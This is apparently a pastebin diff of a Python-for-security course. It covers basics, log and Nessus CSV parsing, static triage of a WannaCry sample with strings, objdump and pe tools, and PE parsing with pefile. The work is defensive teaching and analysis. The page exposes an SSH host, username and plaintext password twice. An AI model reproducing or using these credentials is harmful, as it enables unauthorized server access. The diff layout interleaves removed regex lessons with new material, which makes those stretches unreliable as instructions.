SHOW:
|
|
- or go back to the newest paste.
1 | ############################## | |
2 | ----------- ############### # Day 1: Python Fundamentals # ############### ----------- | |
3 | ############################## | |
4 | ||
5 | ||
6 | - | #################### |
6 | + | ##################### |
7 | - | # Installing Python# |
7 | + | # Installing Python # |
8 | - | #################### |
8 | + | ##################### |
9 | Windows | |
10 | ||
11 | https://www.python.org/downloads/ | |
12 | ||
13 | 32-Bit Version | |
14 | https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe | |
15 | ||
16 | 64-Bit Version | |
17 | https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe | |
18 | ||
19 | ||
20 | After you install Python in Windows the next thing you may want to install is IdleX: | |
21 | http://idlex.sourceforge.net/features.html | |
22 | ||
23 | ---------------------------Type This----------------------------------- | |
24 | ||
25 | Linux | |
26 | Debian/Ubuntu: sudo apt-get install -y python | |
27 | RHEL/CentOS/Fedora: sudo yum install -y python | |
28 | ||
29 | ----------------------------------------------------------------------- | |
30 | ||
31 | ||
32 | After you install Python in Linux the next thing that you will need to do is install idle. | |
33 | ||
34 | ---------------------------Type This----------------------------------- | |
35 | ||
36 | sudo apt-get install -y idle | |
37 | ||
38 | ----------------------------------------------------------------------- | |
39 | ||
40 | Open IDLE, and let's just dive right in. | |
41 | ||
42 | ||
43 | - I prefer to use Putty to SSH into my Linux host. | |
44 | - You can download Putty from here: | |
45 | - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
46 | ||
47 | Here is the information to put into putty | |
48 | ||
49 | Host Name: 107.191.39.106 | |
50 | protocol: ssh | |
51 | port: 22 | |
52 | username: sempra | |
53 | password: semprapython3! | |
54 | ||
55 | ||
56 | #################################### | |
57 | # Python Lesson 1: Simple Printing # | |
58 | #################################### | |
59 | ||
60 | ---------------------------Type This----------------------------------- | |
61 | $ python3 | |
62 | ||
63 | >>> print ("Today we are learning Python.") | |
64 | ||
65 | >>> exit() | |
66 | ----------------------------------------------------------------------- | |
67 | ||
68 | ||
69 | ||
70 | ||
71 | ############################################ | |
72 | # Python Lesson 2: Simple Numbers and Math # | |
73 | ############################################ | |
74 | ||
75 | ---------------------------Type This----------------------------------- | |
76 | $ python3 | |
77 | ||
78 | >>> 2+2 | |
79 | ||
80 | >>> 6-3 | |
81 | ||
82 | >>> 18/7 | |
83 | ||
84 | >>> 18.0/7 | |
85 | ||
86 | >>> 18.0/7.0 | |
87 | ||
88 | >>> 18/7 | |
89 | ||
90 | >>> 9%4 | |
91 | 1 | |
92 | >>> 8%4 | |
93 | 0 | |
94 | >>> 8.75%.5 | |
95 | ||
96 | >>> 6.*7 | |
97 | ||
98 | >>> 7*7*7 | |
99 | ||
100 | >>> 7**3 | |
101 | ||
102 | >>> 5**12 | |
103 | ||
104 | >>> -5**4 | |
105 | ||
106 | >>> exit() | |
107 | ||
108 | ----------------------------------------------------------------------- | |
109 | ||
110 | ||
111 | ||
112 | ############################## | |
113 | # Python Lesson 3: Variables # | |
114 | ############################## | |
115 | ||
116 | ---------------------------Type This----------------------------------- | |
117 | $ python3 | |
118 | ||
119 | >>> x=18 | |
120 | ||
121 | >>> x+15 | |
122 | ||
123 | >>> x**3 | |
124 | ||
125 | >>> y=54 | |
126 | ||
127 | >>> g=int(input("Enter number here: ")) | |
128 | Enter number here: 43 | |
129 | >>> g | |
130 | ||
131 | >>> g+32 | |
132 | ||
133 | >>> g**3 | |
134 | ||
135 | >>> exit() | |
136 | ||
137 | ----------------------------------------------------------------------- | |
138 | ||
139 | ||
140 | ||
141 | ||
142 | ||
143 | ########################################## | |
144 | # Python Lesson 4: Modules and Functions # | |
145 | ########################################## | |
146 | ||
147 | ---------------------------Type This----------------------------------- | |
148 | $ python3 | |
149 | ||
150 | >>> 5**4 | |
151 | ||
152 | >>> pow(5,4) | |
153 | ||
154 | >>> abs(-18) | |
155 | ||
156 | >>> abs(5) | |
157 | ||
158 | >>> floor(18.7) | |
159 | ||
160 | >>> import math | |
161 | ||
162 | >>> math.floor(18.7) | |
163 | ||
164 | >>> math.sqrt(81) | |
165 | ||
166 | >>> joe = math.sqrt | |
167 | ||
168 | >>> joe(9) | |
169 | ||
170 | >>> joe=math.floor | |
171 | ||
172 | >>> joe(19.8) | |
173 | ||
174 | >>> exit() | |
175 | ||
176 | ----------------------------------------------------------------------- | |
177 | ||
178 | ||
179 | ||
180 | ############################ | |
181 | # Python Lesson 5: Strings # | |
182 | ############################ | |
183 | ||
184 | ---------------------------Type This----------------------------------- | |
185 | $ python3 | |
186 | ||
187 | >>> "XSS" | |
188 | ||
189 | >>> 'SQLi' | |
190 | ||
191 | >>> "Joe's a python lover" | |
192 | ||
193 | >>> "Joe said \"InfoSec is fun\" to me" | |
194 | ||
195 | >>> a = "Joe" | |
196 | ||
197 | >>> b = "McCray" | |
198 | ||
199 | >>> a, b | |
200 | ||
201 | >>> a+b | |
202 | ||
203 | >>> exit() | |
204 | ----------------------------------------------------------------------- | |
205 | ||
206 | ||
207 | ||
208 | ||
209 | ||
210 | ################################# | |
211 | # Python Lesson 6: More Strings # | |
212 | ################################# | |
213 | ||
214 | ---------------------------Type This----------------------------------- | |
215 | $ python3 | |
216 | ||
217 | >>> num = 10 | |
218 | ||
219 | >>> num + 2 | |
220 | ||
221 | >>> "The number of open ports found on this system is ", num | |
222 | ||
223 | >>> num = str(18) | |
224 | ||
225 | >>> "There are ", num, " vulnerabilities found in this environment." | |
226 | ||
227 | >>> num2 = 46 | |
228 | ||
229 | >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2 | |
230 | ||
231 | >>> exit() | |
232 | ----------------------------------------------------------------------- | |
233 | ||
234 | ||
235 | ||
236 | ||
237 | ||
238 | ######################################## | |
239 | # Python Lesson 7: Sequences and Lists # | |
240 | ######################################## | |
241 | ||
242 | ---------------------------Type This----------------------------------- | |
243 | $ python3 | |
244 | ||
245 | >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
246 | ||
247 | >>> attacks | |
248 | ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
249 | ||
250 | >>> attacks[3] | |
251 | 'SQL Injection' | |
252 | ||
253 | >>> attacks[-2] | |
254 | 'Cross-Site Scripting' | |
255 | ||
256 | >>> exit() | |
257 | ||
258 | ||
259 | ||
260 | ------------------------------- Summary of fundamentals ------------------------------- | |
261 | ||
262 | ||
263 | Joe rule #1 single quote, single quote, left arrow | |
264 | -------------------------------------------------- | |
265 | '' <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
266 | "" <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
267 | something() <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
268 | something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
269 | something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
270 | ||
271 | -- Now kick it up a notch | |
272 | [] <-- as soon as you type [], then hit your left arrow key to put you inside of the [] | |
273 | [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the () | |
274 | [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {} | |
275 | [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the "" | |
276 | [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the '' | |
277 | ||
278 | ||
279 | ||
280 | Joe rule #2 "Code can only do 3 things" | |
281 | -------------------------------------- | |
282 | ||
283 | Process - read, write, math | |
284 | ||
285 | Decision - if/then | |
286 | ||
287 | Loop - for | |
288 | ||
289 | ||
290 | ||
291 | ||
292 | Joe rule #3 "Never more than 5-10" | |
293 | --------------------------------- | |
294 | ||
295 | -----5 lines of code---- | |
296 | line 1 blah blah blah | |
297 | line 2 blah blah blah | |
298 | line 3 blah blah blah | |
299 | line 4 blah blah blah | |
300 | line 5 blah blah blah | |
301 | ||
302 | ||
303 | sales_tax = price * tax_rate | |
304 | ||
305 | ||
306 | 0.80 = 10 * 0.08 | |
307 | ||
308 | -----5-10 lines of code---- = function | |
309 | price = 10 | |
310 | ||
311 | def st(): | |
312 | sales_tax = price * 0.08 | |
313 | print(sales_tax) | |
314 | ||
315 | ||
316 | st(10) <---- how to run a function | |
317 | ||
318 | -----5-10 functions ---- = class "tax class" | |
319 | st() | |
320 | lt() | |
321 | pt() | |
322 | it() | |
323 | dt() | |
324 | ||
325 | ||
326 | ||
327 | tax.st() | |
328 | tax.lt() | |
329 | ||
330 | -----5-10 functions ---- = class "expense class" | |
331 | gas() | |
332 | elec() | |
333 | water() | |
334 | food() | |
335 | beer() | |
336 | ||
337 | expense.gas() | |
338 | ||
339 | ||
340 | -----5-10 classes ---- = module "finance module" | |
341 | ||
342 | import finance | |
343 | ||
344 | ||
345 | ------------------------------- Summary of fundamentals ------------------------------- | |
346 | ||
347 | ################################## | |
348 | # Lesson 8: Intro to Log Analysis # | |
349 | ################################## | |
350 | ||
351 | ||
352 | Log into your Linux host then execute the following commands: | |
353 | ----------------------------------------------------------------------- | |
354 | NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt. | |
355 | ||
356 | ||
357 | ||
358 | ---------------------------Type This----------------------------------- | |
359 | mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname | |
360 | ||
361 | cd yourname | |
362 | ||
363 | wget http://pastebin.com/raw/85zZ5TZX | |
364 | ||
365 | mv 85zZ5TZX access_log | |
366 | ||
367 | ||
368 | cat access_log | grep 141.101.80.188 | |
369 | ||
370 | cat access_log | grep 141.101.80.188 | wc -l | |
371 | ||
372 | cat access_log | grep 141.101.80.187 | |
373 | ||
374 | cat access_log | grep 141.101.80.187 | wc -l | |
375 | ||
376 | cat access_log | grep 108.162.216.204 | |
377 | ||
378 | cat access_log | grep 108.162.216.204 | wc -l | |
379 | ||
380 | cat access_log | grep 173.245.53.160 | |
381 | ||
382 | cat access_log | grep 173.245.53.160 | wc -l | |
383 | ||
384 | ---------------------------------------------------------------------- | |
385 | ||
386 | ||
387 | ||
388 | ||
389 | ||
390 | ||
391 | ||
392 | ############################################################### | |
393 | # Python Lesson 9: Use Python to read in a file line by line # | |
394 | ############################################################### | |
395 | ||
396 | ||
397 | ---------------------------Type This----------------------------------- | |
398 | ||
399 | nano logread1.py | |
400 | ||
401 | ||
402 | ---------------------------Paste This----------------------------------- | |
403 | ## Open the file with read only permit | |
404 | f = open('access_log', "r") | |
405 | ||
406 | ## use readlines to read all lines in the file | |
407 | ## The variable "lines" is a list containing all lines | |
408 | lines = f.readlines() | |
409 | ||
410 | print (lines) | |
411 | ||
412 | ||
413 | ## close the file after reading the lines. | |
414 | f.close() | |
415 | ||
416 | ---------------------------------------------------------------------- | |
417 | ||
418 | ||
419 | ||
420 | ||
421 | ---------------------------Type This----------------------------------- | |
422 | $ python3 logread1.py | |
423 | ---------------------------------------------------------------------- | |
424 | ||
425 | ||
426 | ||
427 | Google the following: | |
428 | - python difference between readlines and readline | |
429 | - python readlines and readline | |
430 | ||
431 | ||
432 | Here is one student's solution - can you please explain each line of this code to me? | |
433 | ||
434 | ||
435 | ---------------------------Type This----------------------------------- | |
436 | nano ip_search.py | |
437 | ||
438 | ||
439 | ---------------------------Paste This----------------------------------- | |
440 | #!/usr/bin/env python3 | |
441 | ||
442 | f = open('access_log') | |
443 | ||
444 | strUsrinput = input("Enter IP Address: ") | |
445 | ||
446 | for line in iter(f): | |
447 | ip = line.split(" - ")[0] | |
448 | if ip == strUsrinput: | |
449 | print (line) | |
450 | ||
451 | f.close() | |
452 | ||
453 | ||
454 | ---------------------------------------------------------------------- | |
455 | ||
456 | ||
457 | ||
458 | ||
459 | ---------------------------Type This----------------------------------- | |
460 | $ python3 ip_search.py | |
461 | ---------------------------------------------------------------------- | |
462 | ||
463 | ||
464 | ||
465 | Working with another student after class we came up with another solution: | |
466 | ||
467 | ---------------------------Type This----------------------------------- | |
468 | nano ip_search2.py | |
469 | ||
470 | ---------------------------Paste This----------------------------------- | |
471 | - | #!/usr/bin/env python |
471 | + | |
472 | ||
473 | ||
474 | # This line opens the log file | |
475 | f=open('access_log',"r") | |
476 | ||
477 | # This line takes each line in the log file and stores it as an element in the list | |
478 | lines = f.readlines() | |
479 | ||
480 | ||
481 | # This lines stores the IP that the user types as a var called userinput | |
482 | userinput = input("Enter the IP you want to search for: ") | |
483 | ||
484 | ||
485 | ||
486 | # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found. | |
487 | for ip in lines: | |
488 | if ip.find(userinput) != -1: | |
489 | print (ip) | |
490 | ||
491 | ---------------------------------------------------------------------- | |
492 | ||
493 | ||
494 | ||
495 | ---------------------------Type This----------------------------------- | |
496 | $ python3 ip_search2.py | |
497 | ---------------------------------------------------------------------- | |
498 | ||
499 | ||
500 | ################################ | |
501 | # Lesson 10: Parsing CSV Files # | |
502 | ################################ | |
503 | ||
504 | Type the following commands: | |
505 | --------------------------------------------------------------------------------------------------------- | |
506 | ||
507 | ---------------------------Type This----------------------------------- | |
508 | ||
509 | wget http://45.63.104.73/class_nessus.csv | |
510 | ||
511 | ---------------------------------------------------------------------- | |
512 | ||
513 | Example 1 - Reading CSV files | |
514 | ----------------------------- | |
515 | #To be able to read csv formated files, we will first have to import the | |
516 | #csv module. | |
517 | ||
518 | ||
519 | ---------------------------Type This----------------------------------- | |
520 | $ python3 | |
521 | f = open('class_nessus.csv', 'r') | |
522 | for row in f: | |
523 | print (row) | |
524 | ||
525 | ||
526 | ---------------------------------------------------------------------- | |
527 | ||
528 | ||
529 | ||
530 | Example 2 - Reading CSV files | |
531 | ----------------------------- | |
532 | ||
533 | ---------------------------Type This----------------------------------- | |
534 | ||
535 | nano readcsv.py | |
536 | ||
537 | ---------------------------Paste This----------------------------------- | |
538 | #!/usr/bin/env python3 | |
539 | f = open('class_nessus.csv', 'r') # opens the csv file | |
540 | try: | |
541 | for row in f: # iterates the rows of the file in orders | |
542 | print (row) # prints each row | |
543 | finally: | |
544 | f.close() # closing | |
545 | ||
546 | ||
547 | ||
548 | ---------------------------------------------------------------------- | |
549 | ||
550 | ||
551 | ||
552 | Ok, now let's run this thing. | |
553 | ||
554 | --------------------------Type This----------------------------------- | |
555 | $ python3 readcsv.py | |
556 | ||
557 | ---------------------------------------------------------------------- | |
558 | ||
559 | ||
560 | ||
561 | ||
562 | Example 3 - - Reading CSV files | |
563 | ------------------------------- | |
564 | ||
565 | ---------------------------Type This----------------------------------- | |
566 | ||
567 | nano readcsv2.py | |
568 | ||
569 | ---------------------------Paste This----------------------------------- | |
570 | #!/usr/bin/python3 | |
571 | # This program will then read it and displays its contents. | |
572 | ||
573 | import csv | |
574 | ||
575 | ifile = open('class_nessus.csv', "r") | |
576 | reader = csv.reader(ifile) | |
577 | ||
578 | rownum = 0 | |
579 | for row in reader: | |
580 | # Save header row. | |
581 | if rownum == 0: | |
582 | header = row | |
583 | else: | |
584 | colnum = 0 | |
585 | for col in row: | |
586 | print ('%-8s: %s' % (header[colnum], col)) | |
587 | colnum += 1 | |
588 | ||
589 | rownum += 1 | |
590 | ||
591 | ifile.close() | |
592 | ||
593 | ||
594 | ||
595 | ---------------------------------------------------------------------- | |
596 | ||
597 | ||
598 | ||
599 | ---------------------------Type This----------------------------------- | |
600 | ||
601 | $ python3 readcsv2.py | less | |
602 | ||
603 | ||
604 | ---------------------------------------------------------------------- | |
605 | ||
606 | ||
607 | ||
608 | ||
609 | ||
610 | ||
611 | ||
612 | ||
613 | ||
614 | ---------------------------Type This----------------------------------- | |
615 | ||
616 | nano readcsv3.py | |
617 | ||
618 | ---------------------------Paste This----------------------------------- | |
619 | #!/usr/bin/python3 | |
620 | import csv | |
621 | f = open('class_nessus.csv', 'r') | |
622 | try: | |
623 | rownum = 0 | |
624 | reader = csv.reader(f) | |
625 | for row in reader: | |
626 | #Save header row. | |
627 | if rownum == 0: | |
628 | header = row | |
629 | else: | |
630 | colnum = 0 | |
631 | if row[3].lower() == 'high': | |
632 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
633 | rownum += 1 | |
634 | finally: | |
635 | f.close() | |
636 | ||
637 | ----------------------------------------------------------------------- | |
638 | ||
639 | ||
640 | ---------------------------Type This----------------------------------- | |
641 | ||
642 | $ python3 readcsv3.py | less | |
643 | ----------------------------------------------------------------------- | |
644 | ||
645 | ||
646 | ||
647 | ---------------------------Type This----------------------------------- | |
648 | ||
649 | nano readcsv4.py | |
650 | ----------------------------------------------------------------------- | |
651 | ||
652 | ---------------------------Paste This----------------------------------- | |
653 | ||
654 | #!/usr/bin/python3 | |
655 | import csv | |
656 | f = open('class_nessus.csv', 'r') | |
657 | try: | |
658 | print ('/---------------------------------------------------/') | |
659 | rownum = 0 | |
660 | hosts = {} | |
661 | reader = csv.reader(f) | |
662 | for row in reader: | |
663 | # Save header row. | |
664 | if rownum == 0: | |
665 | header = row | |
666 | else: | |
667 | colnum = 0 | |
668 | if row[3].lower() == 'high' and row[4] not in hosts: | |
669 | hosts[row[4]] = row[4] | |
670 | print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])) | |
671 | rownum += 1 | |
672 | finally: | |
673 | f.close() | |
674 | ---------------------------------------------------------------------- | |
675 | ||
676 | ||
677 | ||
678 | $ python3 readcsv4.py | less | |
679 | ||
680 | ---------------------------------------------------------------------- | |
681 | ||
682 | ||
683 | - | ###################################################### |
683 | + | |
684 | - | ----------- ############### # Day 2: Regular Expressions, Functions, and Classes # ############### ----------- |
684 | + | |
685 | - | ###################################################### |
685 | + | |
686 | ||
687 | ||
688 | - | # Regular Expressions # |
688 | + | |
689 | ----------- ############### # Day 2: Malware analysis with Python # ############### ----------- | |
690 | ####################################### | |
691 | Here is the information to put into putty | |
692 | ||
693 | - | ************************************************** |
693 | + | |
694 | - | * What is Regular Expression and how is it used? * |
694 | + | |
695 | - | ************************************************** |
695 | + | |
696 | username: sempra | |
697 | password: semprapython3! | |
698 | - | Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file. |
698 | + | |
699 | ||
700 | file wannacry.exe | |
701 | - | Regular expressions use two types of characters: |
701 | + | |
702 | objdump -x wannacry.exe | |
703 | - | a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard. |
703 | + | |
704 | strings wannacry.exe | |
705 | - | b) Literals (like a,b,1,2…) |
705 | + | |
706 | strings --all wannacry.exe | head -n 6 | |
707 | ||
708 | - | In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python. |
708 | + | |
709 | ||
710 | strings wannacry.exe | grep -i library | |
711 | - | Use this code --> import re |
711 | + | |
712 | strings wannacry.exe | grep -i reg | |
713 | ||
714 | strings wannacry.exe | grep -i key | |
715 | ||
716 | - | The most common uses of regular expressions are: |
716 | + | |
717 | ||
718 | strings wannacry.exe | grep -i open | |
719 | - | - Search a string (search and match) |
719 | + | |
720 | - | - Finding a string (findall) |
720 | + | |
721 | - | - Break string into a sub strings (split) |
721 | + | |
722 | - | - Replace part of a string (sub) |
722 | + | |
723 | ||
724 | strings wannacry.exe | grep -i irc | |
725 | ||
726 | - | Let's look at the methods that library "re" provides to perform these tasks. |
726 | + | |
727 | ||
728 | strings wannacry.exe | grep -i admin | |
729 | ||
730 | - | **************************************************** |
730 | + | |
731 | - | * What are various methods of Regular Expressions? * |
731 | + | |
732 | - | **************************************************** |
732 | + | |
733 | pe info wannacry.exe | |
734 | pe check wannacry.exe | |
735 | - | The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss: |
735 | + | pe dump --section text wannacry.exe |
736 | pe dump --section data wannacry.exe | |
737 | - | re.match() |
737 | + | pe dump --section rsrc wannacry.exe |
738 | - | re.search() |
738 | + | pe dump --section reloc wannacry.exe |
739 | - | re.findall() |
739 | + | strings rdata | less |
740 | - | re.split() |
740 | + | strings rsrc | less |
741 | - | re.sub() |
741 | + | strings text | less |
742 | - | re.compile() |
742 | + | |
743 | ||
744 | - | Let's look at them one by one. |
744 | + | |
745 | # How do we do this with Python3 # | |
746 | ################################## | |
747 | - | re.match(pattern, string): |
747 | + | |
748 | - | ------------------------------------------------- |
748 | + | Reference page: |
749 | https://axcheron.github.io/pe-format-manipulation-with-pefile/ | |
750 | - | This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now. |
750 | + | |
751 | ---------------------------Type This----------------------------------- | |
752 | - | Code |
752 | + | wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe |
753 | ||
754 | python3 | |
755 | - | import re |
755 | + | import pefile |
756 | - | result = re.match(r'AV', 'AV Analytics ESET AV') |
756 | + | |
757 | - | print (result) |
757 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
758 | ||
759 | try: | |
760 | - | Output: |
760 | + | pe = pefile.PE(exe_path) |
761 | - | <_sre.SRE_Match object at 0x0000000009BE4370> |
761 | + | # This is also a valid function call |
762 | # pe = pefile.PE(name=exe_path) | |
763 | - | Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string. |
763 | + | except OSError as e: |
764 | print(e) | |
765 | except pefile.PEFormatError as e: | |
766 | print("[-] PEFormatError: %s" % e.value) | |
767 | - | import re |
767 | + | |
768 | - | result = re.match(r'AV', 'AV Analytics ESET AV') |
768 | + | |
769 | - | print (result.group(0)) |
769 | + | |
770 | ||
771 | It’s also possible to parse raw PE data by using data as parameter. | |
772 | - | Output: |
772 | + | |
773 | - | AV |
773 | + | import pefile |
774 | import mmap | |
775 | ||
776 | - | Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get: |
776 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
777 | ||
778 | ||
779 | - | Code |
779 | + | fd = open(exe_path, 'rb') # Map the executable in memory |
780 | pe_data = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_READ) | |
781 | ||
782 | - | import re |
782 | + | |
783 | - | result = re.match(r'Analytics', 'AV Analytics ESET AV') |
783 | + | pe = pefile.PE(data=pe_data) # Parse the data contained in the buffer |
784 | - | print (result) |
784 | + | |
785 | ----------------------------------------------------------------------- | |
786 | ||
787 | ||
788 | ||
789 | - | Output: |
789 | + | |
790 | - | None |
790 | + | |
791 | ---------------------------Type This----------------------------------- | |
792 | import pefile | |
793 | - | There are methods like start() and end() to know the start and end position of matching pattern in the string. |
793 | + | |
794 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
795 | - | Code |
795 | + | |
796 | pe = pefile.PE(exe_path, fast_load=True) | |
797 | ||
798 | - | import re |
798 | + | # Then you can call the following method later in your code |
799 | - | result = re.match(r'AV', 'AV Analytics ESET AV') |
799 | + | pe.full_load() |
800 | - | print (result.start()) |
800 | + | |
801 | - | print (result.end()) |
801 | + | |
802 | ||
803 | ||
804 | Reading the Header Members | |
805 | - | Output: |
805 | + | Once the executable is successfully parsed, the data is readily available as attributes of the PE instance. Let’s read the following attributes: |
806 | ||
807 | - | 2 |
807 | + | e_magic or IMAGE_DOS_HEADER. It should be equal to 0x5A4D (MZ) |
808 | signature or IMAGE_NT_HEADERS. It should be equal to 0x4550 (PE) | |
809 | - | Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string. |
809 | + | |
810 | import pefile | |
811 | ||
812 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
813 | pe = pefile.PE(exe_path) | |
814 | ||
815 | - | re.search(pattern, string): |
815 | + | print("[*] e_magic value: %s" % hex(pe.DOS_HEADER.e_magic)) |
816 | - | ----------------------------------------------------- |
816 | + | print("[*] Signature value: %s" % hex(pe.NT_HEADERS.Signature)) |
817 | ----------------------------------------------------------------------- | |
818 | ||
819 | - | It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match. |
819 | + | |
820 | ||
821 | - | Code |
821 | + | |
822 | If you want to enemuerate each members of a specific structure, like DOS_HEADER, it can easily be done by using a for loop. | |
823 | ---------------------------Type This----------------------------------- | |
824 | - | import re |
824 | + | import pefile |
825 | - | result = re.search(r'Analytics', 'AV Analytics ESET AV') |
825 | + | |
826 | - | print (result.group(0)) |
826 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
827 | pe = pefile.PE(exe_path) | |
828 | ||
829 | - | Output: |
829 | + | print("[*] Listing DOS_HEADER fields...") |
830 | - | Analytics |
830 | + | for keys in pe.DOS_HEADER.__keys__: |
831 | for field in keys: | |
832 | - | Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern. |
832 | + | print('\t' + field) |
833 | ----------------------------------------------------------------------- | |
834 | ||
835 | ||
836 | ||
837 | ||
838 | ||
839 | - | re.findall (pattern, string): |
839 | + | You can also diplay the full content of a structure by using the dump() method. It will returns a string representation of the structure. |
840 | ---------------------------Type This----------------------------------- | |
841 | import pefile | |
842 | ||
843 | - | It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both. |
843 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
844 | pe = pefile.PE(exe_path) | |
845 | ||
846 | - | Code |
846 | + | for field in pe.DOS_HEADER.dump(): |
847 | print(field) | |
848 | ----------------------------------------------------------------------- | |
849 | - | import re |
849 | + | |
850 | - | result = re.findall(r'AV', 'AV Analytics ESET AV') |
850 | + | |
851 | - | print (result) |
851 | + | |
852 | Data Directories | |
853 | Now, we will list the Data Directories. Those directories contains address/size pairs for special tables that are found in the image file and are used by the operating system (for example, the import table and the export table). We can find the number of Data Directories in NumberOfRvaAndSizes located in the Optional Header struture. | |
854 | - | Output: |
854 | + | |
855 | - | ['AV', 'AV'] |
855 | + | import pefile |
856 | ||
857 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
858 | pe = pefile.PE(exe_path) | |
859 | ||
860 | print("[*] Number of data directories = %d" % pe.OPTIONAL_HEADER.NumberOfRvaAndSizes) | |
861 | - | re.split(pattern, string, [maxsplit=0]): |
861 | + | for data_directory in pe.OPTIONAL_HEADER.DATA_DIRECTORY: |
862 | print('\t' + data_directory.name) | |
863 | ----------------------------------------------------------------------- | |
864 | ||
865 | ||
866 | - | This methods helps to split string by the occurrences of given pattern. |
866 | + | |
867 | ||
868 | You can also display the address/size pairs of each of them: | |
869 | - | Code |
869 | + | |
870 | import pefile | |
871 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
872 | - | result=re.split(r'y','Analytics') |
872 | + | pe = pefile.PE(exe_path) |
873 | - | result |
873 | + | |
874 | - | ---------------------------------------------------------------------- |
874 | + | for data_dir in pe.OPTIONAL_HEADER.DATA_DIRECTORY: |
875 | print(data_dir) | |
876 | - | Output: |
876 | + | |
877 | - | ['Anal', 'tics'] |
877 | + | |
878 | ||
879 | - | Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below: |
879 | + | |
880 | ||
881 | Listing the Symbols | |
882 | - | Code |
882 | + | Imports |
883 | To list the imported DLLs by the executable, we can iterate through the data directory DIRECTORY_ENTRY_IMPORT | |
884 | ---------------------------Type This----------------------------------- | |
885 | - | import re |
885 | + | import pefile |
886 | - | result=re.split(r's','Analytics eset') |
886 | + | |
887 | - | print (result) |
887 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
888 | pe = pefile.PE(exe_path) | |
889 | ||
890 | print("[*] Listing imported DLLs...") | |
891 | - | Output: |
891 | + | for entry in pe.DIRECTORY_ENTRY_IMPORT: |
892 | - | ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s". |
892 | + | print('\t' + entry.dll.decode('utf-8')) |
893 | ----------------------------------------------------------------------- | |
894 | ||
895 | ||
896 | - | Code |
896 | + | |
897 | ||
898 | ||
899 | - | import re |
899 | + | Then, we can list each imported function in a specific DLL, for example, kernel32.dll. |
900 | - | result=re.split(r's','Analytics eset',maxsplit=1) |
900 | + | |
901 | - | print (result) |
901 | + | import pefile |
902 | ||
903 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
904 | pe = pefile.PE(exe_path) | |
905 | - | Output: |
905 | + | |
906 | - | [] |
906 | + | for entry in pe.DIRECTORY_ENTRY_IMPORT: |
907 | dll_name = entry.dll.decode('utf-8') | |
908 | if dll_name == "KERNEL32.dll": | |
909 | print("[*] Kernel32.dll imports:") | |
910 | for func in entry.imports: | |
911 | print("\t%s at 0x%08x" % (func.name.decode('utf-8'), func.address)) | |
912 | - | re.sub(pattern, repl, string): |
912 | + | |
913 | - | ---------------------------------------------------------- |
913 | + | |
914 | ||
915 | - | It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged. |
915 | + | |
916 | Listing the Sections | |
917 | - | Code |
917 | + | Sections are added to a list accesible as the attribute sections in the PE instance. The common structure members of the section header are reachable as attributes. |
918 | ---------------------------Type This----------------------------------- | |
919 | import pefile | |
920 | - | import re |
920 | + | |
921 | - | result=re.sub(r'Ruby','Python','Joe likes Ruby') |
